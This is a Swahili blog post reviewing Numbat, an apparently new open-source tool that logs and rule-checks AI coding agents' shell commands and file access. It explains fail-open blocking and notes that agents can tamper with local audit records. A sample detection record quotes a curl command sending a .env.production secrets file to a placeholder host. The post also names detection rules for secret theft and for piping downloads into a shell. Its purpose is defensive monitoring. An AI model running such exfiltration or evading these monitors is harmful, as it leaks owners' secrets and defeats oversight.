Jinsi ya kufuatilia shughuli za AI agent kwa Numbat
Tumia Numbat kufuatilia amri za shell na faili zinazofikiwa na AI agents kwenye seva yako. Zana hii ya open source inarekodi matukio ili kubaini hatari za usalama.
Numbat ni nini
Numbat inakupa uwezo wa kuona kile ambacho AI agent imefanya kwenye mashine unayomiliki. Inasoma hook callbacks na faili za session ambazo coding agents tayari zinazalisha, inazibadilisha kuwa muundo mmoja wa tukio (event format), na kuzilinganisha na sheria zinazochochewa na tabia kama kusoma SSH private key au kuingiza download moja kwa moja kwenye shell. Perplexity imetoa zana hii kama open source chini ya leseni ya Apache 2.0, ikiwa na release ya kwanza iliyotiwa alama tarehe 29 Julai 2026.
Kila kitu hapa chini kinatoka kwenye repository ya mradi huu na nyaraka zake, zilizosomwa tarehe 2 Agosti 2026. Historia ya release, mahitaji ya usakinishaji, schema ya rekodi, na uwezo wa kufuatilia agents vilikaguliwa tena dhidi ya repository tarehe 12 Oktoba 2026. Pale ambapo Perplexity inatoa madai, chapisho hili linaeleza hivyo. Hii si mafunzo ya usakinishaji, kwa sababu repository hii ni changa na amri zake zitabadilika.
Tatizo: hakuna anayerekodi kile ambacho wakala alikifanya
Wakala wa kuandika msimbo (coding agent) kwenye VPS yako huendesha amri za shell, kusoma faili, kuandika faili na kufungua miunganisho ya mtandao, yote haya akitumia mtumiaji uliyempa ruhusa. Historia yako ya shell hairekodi lolote kati ya hayo, kwa sababu wakala haandiki kwenye shell yako. sshd hurekodi kuingia kwako tu na si chochote ambacho modeli iliamua kufanya baadaye. /var/log/auth.log hubaki kimya isipokuwa kama kuna kitu kilifikia sudo. Wakala huweka nakala yake ya mazungumzo, lakini faili hiyo hukaa kwenye saraka ya kikao cha wakala, umbizo lake hubadilika kati ya matoleo, na mchakato wa wakala wenyewe unaweza kuiandikia.
Kwa hivyo mtu anapouliza ikiwa wakala alikisoma .env.production Jumanne iliyopita, jibu la kweli kwenye seva nyingi ni kwamba huwezi kujua. Pengo hilo ndilo sababu ya mradi huu kuwepo.
Madai ya Perplexity kuhusu kile Numbat inachofanya
README inaanza kwa kukielezea kifaa hiki kama "mwonekano wa mwisho (endpoint visibility) kwenye shughuli za AI agent, kikiwa na uwezo wa kugundua ndani ya kifaa, kuzuia vitendo kabla havijatokea (optional pre-action blocking), na ujenzi upya wa kiuchunguzi (forensic reconstruction)". Endpoint hapa inamaanisha mashine ambayo agent inaendeshwa, si kifaa cha mtandao kinachochungulia kutoka nje. Hizo ni uwezo tofauti, na zina uzito tofauti.
Ugunduzi hufanyika kwenye kifaa chenyewe. Sheria huandikwa kwa kutumia CEL (common expression language) na kutathminiwa ndani ya kifaa, zikiwa na sheria za mlolongo wa hatua nyingi juu yake na usaidizi wa sheria zako mwenyewe katika YAML. Hakuna kinachopaswa kutoka nje ya mashine ili sheria iweze kufanya kazi.
Kuzuia ni hiari na ni kwa kiwango kidogo. Hufanya kazi tu kupitia ndoano (hooks) za synchronous za kabla ya hatua, kwenye agents zinazotoa ndoano hizo, na huwa imezimwa hadi utakapoiwasha.
Ujenzi upya hufanyika baada ya tukio. numbat scan huchanganua mabaki ya session ambayo agent ilikuwa imeshaandika kwenye diski, ili uweze kuangalia shughuli zilizotokea kabla ya kusakinisha chochote. Mradi huu unajihadhari kupunguza wigo wa dai hilo: "Ujenzi upya wa data iliyopo (at-rest) si upatikanaji wa diski au kumbukumbu na hauwezi kurejesha shughuli ambazo agent haikuzihifadhi."
Matokeo ni NDJSON (newline delimited JSON) yenye toleo, inayohusu matukio, matokeo, maamuzi ya utekelezaji, viashiria na muhtasari wa skani, ikiwa katika schema toleo 0.2.0 kufikia v0.1.2. Schema imebadilika tangu wakati huo: mnamo 12 Oktoba 2026 hazina hiyo ilikuwa na matoleo ya schema 0.2.0, 0.3.0 na 0.4.0, na mifano ya rekodi katika README ilionyesha 0.4.0. Rekodi huenda kwenye stdout au faili ya ndani, na kwa hiari kupitia HTTP kwenye mkusanyaji (collector) unayouendesha. Inasambazwa kama binary moja ya Go iliyojengwa bila cgo, kwa ajili ya macOS, Linux na Windows kwenye amd64 na arm64, kwa hivyo kwenye Linux VPS ni faili moja tu bila hitaji la kusakinisha runtime kwanza.
Ni mawakala (agents) gani ambao Numbat inaweza kuwaona kweli?
Jedwali la ufikiaji (coverage matrix) katika docs/agent-coverage.md ndilo orodha rasmi, na uwezo wake si sawa kwa kila wakala. Mradi huu unasema hivyo waziwazi badala ya kuficha ukweli. Claude Code, Codex, Gemini CLI, Cursor na GitHub Copilot CLI zina uwezo wa kuchanganua (scan) vitu vilivyoundwa (artifacts) na kunasa data moja kwa moja (live capture) kwa kutumia pre-action hook. OpenClaw hupata plugin ya asili kuanzia toleo la 2026.7.1 na kuendelea. Orodha ndefu ya mawakala imewekwa kwenye hali ya kusubiri (deferred), ikimaanisha kuwa njia ya live hook ipo lakini kichanganuzi cha artifact hakipo; hii mara nyingi hutokea kwa sababu wakala husika huhifadhi historia yake katika SQLite kwa kutumia write-ahead log ambayo si salama kusomwa wakati wakala anaendelea kufanya kazi. Cline CLI iko katika kundi hilo: live hooks zake hufanya kazi, lakini vipindi (sessions) vyake vya SQLite havichanganuliwi. OpenCode ni kesi tofauti. Jedwali la v0.1.2 huchanganua hifadhi zake za awali za JSON na kuahirisha hifadhidata ya sasa ya opencode.db pekee; halionyeshi utekelezaji wa pre-action kwa OpenCode, na jedwali lililopo kwenye main bado lilisomeka hivyo mnamo tarehe 12 Oktoba 2026.
Kagua safu inayohusu wakala wako kabla ya kupanga chochote kuhusu zana hii, kwa sababu neno "supported" lina maana tofauti katika karibu kila mstari.
Muonekano wa ugunduzi
Sheria zina vitambulisho vinavyoeleza madhumuni yake. secrets.read_private_key inashughulikia ufunguo wa SSH, vitambulisho vya AWS, kube config, au login ya registry ya vifurushi. exec.download_pipe_shell inawaka wakati matokeo ya curl au wget yanapopitishwa kwenye interpreter. privilege.elevated_shell inakamata ombi la interactive root shell kupitia sudo, doas, su, au pkexec. impact.cryptomining_launch inalingana na binary za wachimbaji madini (miners) na majina ya image yanayojulikana.
Sheria za mfuatano (sequence rules) huunganisha matukio ndani ya session moja. chain.secret_read_then_egress inahitaji faili la siri lisomwe likifuatiwa na amri inayopeleka data nje. README inachapisha matokeo yafuatayo kutoka kwa uchezaji upya (replay) uliodhibitiwa wa callback mbili za pre-action za Claude Code, si kutoka kwa tukio halisi. Hapa imepunguzwa ili kubakiza sehemu muhimu pekee:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Zingatia "confidence": "medium" iliyo ndani ya rekodi, na zingatia kile ambacho mradi unasema kuhusu kundi zima la matokeo: "Matokeo haya ni ulinganifu wa sheria, si uthibitisho wa uvamizi." Script ya deploy inayosoma ufunguo kisha kupakia artifact ya build italingana na sheria hiyo hiyo ya mfuatano. Ulinganifu huo ni sahihi lakini kengele ni ya uongo, hali ambayo ni ya kawaida kwa kila zana ya ugunduzi uliyowahi kutumia.
Uzuiaji umezimwa kwa chaguo-msingi, na mfumo hufunguka likitokea tatizo
Kila sheria inayokuja na Numbat ni ya ufuatiliaji pekee. Kubadilisha sheria kuwa ya kuzuia (block) ni kazi ya makusudi: nakili YAML kamili ya sheria hiyo kwenye saraka yako, tunza id ileile, ongeza enforce: true, ongeza toleo (version), kisha thibitisha na usakinishe sera hiyo.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceSasa ni sehemu inayoamua ni kwa kiasi gani unapaswa kuiamini. Uamuzi wa kukataa (deny) wa Numbat ni jibu linalotumwa kwa wakala (agent), na wakala ndiye anayekataa wito wa zana (tool call). Mwongozo wa utekelezaji uko wazi kuhusu kinachotokea wakati Numbat yenyewe ina tatizo: "Payloads zilizoharibika, makosa ya tathmini, panics, na kushindwa kutoa matokeo hufanya Numbat isitoe jibu la kukataa." Ingizo la hook limekomea kwenye 4 MiB, na ingizo linalozidi ukubwa huo hufuata njia hiyo hiyo.
Mwongozo uko wazi vilevile kuhusu kikomo cha uamuzi wa kukataa unaofanikiwa: "Fail-open inamaanisha Numbat inazuia jibu lake la kukataa. Hii haihakikishi kuwa zana itatekelezwa: mwenyeji (host) anaweza bado kuuliza, kukataa, muda kuisha, au kutumia hook au sera nyingine."
Kwa hiyo, utekelezaji hapa ni kama reli ya ulinzi, si mpaka wa kudumu. Ikiwa mchakato utaanguka (crash), hatua hiyo haitazuiwa na Numbat, kwa sababu kifuatiliaji kinachogandisha wakala wako kila kinapopata tatizo kitaondolewa ndani ya wiki moja. Makubaliano haya ni ya busara. Usijenge mfano wa usalama unaodhani kuwa jibu la kukataa litafika kila wakati.
Mahali ambapo Numbat inafaa kulingana na unachofanya tayari
Numbat inafanya kazi kwenye endpoint, ndani ya mti wa mchakato wa wakala (agent), na huandika kwenye ~/.numbat/records.ndjson kwa chaguo-msingi. Wakala anayeendeshwa kama mtumiaji wako anaweza kusoma faili hiyo. Anaweza pia kuibadilisha. Njia ya ukaguzi (audit trail) ina thamani sawa na kutengwa (isolation) inayozunguka, jambo linaloweka kila udhibiti ulionao mbele ya huu badala ya kuuweka nyuma yake.
Kumpa wakala wa usimbaji VM inayoweza kufutwa hupunguza kile ambacho utekelezaji mbaya unaweza kufikia. Mtumiaji mwenye upendeleo mdogo kwenye VPS humzuia wakala asifikie faili ambazo hana sababu ya kuzifungua. Kuweka vitambulisho nje ya muktadha wa wakala ndiko kunakofanya secrets.read_private_key kulingana na kitu ambacho ni nadra kutosha kustahili kusomwa kinapojitokeza. Na sandbox uliyoiweka kwa ajili ya Claude Code kwenye VPS bado ndiyo inayofanya kazi ya kuzuia. Kuzuia hupunguza kile ambacho utekelezaji mbaya unaweza kugusa, wakati kuandika sababu ya msimbo kuwa na umbo ililo nalo hupunguza mara ambazo wakala hufanya kitu cha kushangaza kiasi cha kukupeleka kwenye log.
Kile ambacho Numbat huongeza ni rekodi, kwa hiyo tuma rekodi hiyo mahali ambapo wakala hawezi kufikia. numbat ship na HTTP sink zipo kwa ajili hiyo. Nakala ya mtiririko kwenye mashine ya pili ndiyo tofauti kati ya faili ya log na ushahidi. Mfano wa tukio pia hubeba nyanja za MCP (model context protocol), kwa hiyo wito wa zana (tool calls) unaotoka kupitia seva ya MCP unayoiendesha kwenye VPS hutua kwenye mtiririko uleule kama amri za shell za ndani, jambo ambalo ni muhimu kwa sababu njia hiyo haionekani kwa chochote kinachotazama bash pekee. Kipofu hicho hicho hufunika instance ya SearXNG iliyounganishwa kama backend ya utafutaji ya wakala, ambapo hatari hufika kama maandishi ya ukurasa yasiyoaminika yanayoingia kwenye muktadha wa modeli badala ya kama amri ambayo sheria yoyote inaweza kulingana nayo.
Jaribu hali ya kusoma pekee kwanza
Sakinisha toleo lililofungwa (pinned version). Amri iliyo hapa chini inafunga v0.1.2, ambayo README yake inahitaji Go 1.26.5 au mpya zaidi. README ya tawi la main iliomba Go 1.26.6 au mpya zaidi mnamo 12 Oktoba 2026, ongezeko lililokuja na v0.2.0, kwa hivyo tumia 1.26.6 ukifunga tag mpya zaidi. Ukurasa wa releases una binaries zilizojengwa awali zenye SHA-256 checksums ikiwa hutaki kujenga kutoka kwenye source.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents inagundua mawakala (agents) waliowekwa kwenye seva. numbat scan inachambua mabaki ya session (session artifacts) yaliyopo kwenye diski na kuchapisha rekodi. README inasema kuwa amri hizi "hazisakinishi hooks wala kubadilisha usanidi wa wakala", na kwamba numbat "haiwahi kuendesha mawakala au amri zilizopatikana kwenye mabaki, na hufanya maombi ya nje (outbound requests) kwa HTTP sinks zilizosanidiwa pekee". Utafutaji (scanning) ni wa kusoma pekee (read-only) na ufichaji wa siri (secret redaction), na matokeo ya kawaida ya rekodi hayajumuishi nakala kamili ya maandishi (raw transcript).
Ukamataji wa moja kwa moja (live capture) ndio hatua inayofuata, na huu hubadilisha usanidi wa wakala:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all huandika matukio, matokeo, viashiria na maamuzi husika ya utekelezaji kwenye ~/.numbat/records.ndjson. Tahadhari mbili zinatoka moja kwa moja kutoka kwa mradi huu. Hooks zinaweza kuhitaji kuaminiwa ndani ya wakala kabla hazijaanza kufanya kazi, na imani hiyo lazima ikaguliwe tena baada ya kubadilisha flags kama --enforce. Na hook status "inathibitisha usanidi, si utekelezaji au uwasilishaji", kwa hivyo mstari wa hali (status line) unaoonyesha afya nzuri si uthibitisho kwamba rekodi zinafika popote.
Kwa nini hazina hii mpya si dependency
Kufikia tarehe 12 Oktoba 2026, releases za umma ni v0.1.1 ya tarehe 29 Julai 2026, v0.1.2 ya tarehe 1 Agosti 2026, na v0.2.0 ya tarehe 17 Agosti 2026, ambayo ukurasa wa releases unaionyesha kama toleo la hivi karibuni. Hazina hii ilikuwa na nyota 597 wakati chapisho hili likiandikwa tarehe 2 Agosti 2026. Namba zinazoongezeka kwa kasi hiyo zinaakisi hadhira ya Perplexity, si ubora wa code yenyewe. Nyota inamaanisha mtu amehifadhi ukurasa ili auangalie baadaye.
Namba ya toleo inaonyesha wazi hali halisi ya programu hii. Maelezo ya v0.1.2 yanahusu zaidi marekebisho ya kuficha vitambulisho (credential redaction), pamoja na kazi ya case bundle na normalisation ya telemetry. Maelezo ya v0.2.0 yanaongeza uwezo wa kunasa maudhui ya ujumbe yaliyopimwa (bounded message content capture), utekelezaji wa usomaji wa faili wa Cursor kupitia hook yake ya beforeReadFile, na marekebisho zaidi ya ufichaji. Hitilafu za ufichaji ni kasoro zinazotarajiwa katika hatua za awali za zana ambayo kazi yake ni kusoma transcripts za programu nyingine kwa usalama, na kutakuwa na hitilafu zaidi, kwa sababu data zinatoka kwa mawakala kadhaa ambao kila mmoja hubadilisha muundo wake kwa ratiba yake binafsi.
Kanuni mbili za kivitendo zinafuata. Pin tag, usitumie kamwe @latest, katika chochote unachohifadhi. Na ichukulie kama kifaa unachokifanyia tathmini badala ya mfumo unaoutegemea, angalau hadi schema ya rekodi itakapokoma kubadilika. Bado haijakoma: ilitoka 0.2.0 katika v0.1.2 hadi 0.4.0 kwenye README ya main ndani ya takriban wiki kumi.
FAQ
Je, Numbat inazuia amri hatari za AI agent?
Ni pale tu utakapochagua kufanya hivyo, na kwa kadiri ya uwezo wake. Kila sheria ambayo Numbat inatoa ni kwa ajili ya kufuatilia (monitor) pekee. Ili kuzuia, nakili YAML ya sheria hiyo kwenye saraka yako, tunza id yake, ongeza enforce: true, pandisha toleo (version), na usakinishe hook hiyo kwa kutumia --enforce. Hata hivyo, kuzuia huko ni jibu linalorejeshwa kwa agent, na agent ndiye anayekataa wito huo. Mradi huu unaelezea tabia ya fail-open: payloads zilizoharibika, makosa ya tathmini, panics, na kufeli kwa matokeo yote hufanya kuzuia huko kusitishwe. Itumie kama kinga ya ziada, si kama kizuizi chako pekee.
Ni AI agents zipi zinazoungwa mkono na Numbat?
Uwezo wa kufanya kazi hutofautiana kwa kila agent na umeorodheshwa katika docs/agent-coverage.md kwenye hazina (repository). Claude Code, Codex, Gemini CLI, Cursor na GitHub Copilot CLI zilikuwa na uwezo wa kuchanganua artifact na kunasa data moja kwa moja (live capture) wakati ukurasa huo uliposomwa tarehe 2 Agosti 2026, na OpenClaw ina plugin ya asili kuanzia toleo la 2026.7.1. Agents nyingine nyingi zimeorodheshwa zikiwa na njia ya live hook lakini hazina kichanganuzi cha artifact bado, kwa kawaida kwa sababu historia ya session zao hukaa kwenye database ya SQLite ambayo si salama kusomwa wakati agent anaendelea kufanya kazi. Soma mstari wa agent yako, kwa sababu neno "supported" linashughulikia viwango tofauti hapo.
Je, agent anaweza kuharibu rekodi za Numbat?
Ndiyo, ikiwa anaendeshwa kama mtumiaji yuleyule. Rekodi kwa chaguo-msingi huenda kwenye ~/.numbat/records.ndjson kwenye mashine ileile ya agent, kwa hivyo chochote chenye uwezo wa kuandika kwenye njia hiyo kinaweza kuzibadilisha au kuzifuta. Tuma mtiririko wa data (stream) kwenye mkusanyaji (collector) ambao agent hawezi kuufikia, kwa kutumia numbat ship au HTTP sink, na utunze faili ya ndani kama nakala ya urahisi. Hii ndiyo sababu zana hii inakamilisha utengaji (isolation) badala ya kuuchukua nafasi yake. Agent aliyetengwa kwenye VM ya muda chini ya mtumiaji mwenye haki ndogo (least privilege) ana uwezo mdogo sana wa kufikia njia yake ya ukaguzi (audit trail).
Je, Numbat iko tayari kwa seva ya uzalishaji (production server)?
Si kama kidhibiti unachokitegemea. Toleo la kwanza la umma lilikuwa v0.1.1 mnamo 29 Julai 2026, v0.1.2 ilifuata mnamo 1 Agosti 2026 na v0.2.0 mnamo 17 Agosti 2026, na kufikia 12 Oktoba 2026 schema ya rekodi katika README ilikuwa imefikia 0.4.0, kwa hivyo flags na schema ya rekodi zote bado zinabadilika. Kuendesha numbat agents na numbat scan kwenye mashine ni kwa ajili ya kusoma pekee na kuna hatari ndogo, na itakuambia kile ambacho agents wako wamekuwa wakikiacha kwenye diski. Kusakinisha hooks za utekelezaji kwenye seva muhimu ni uamuzi tofauti, na unastahili tag iliyofungwa (pinned tag) na mpango wa nini kitatokea wakati hook inafanya kazi vibaya.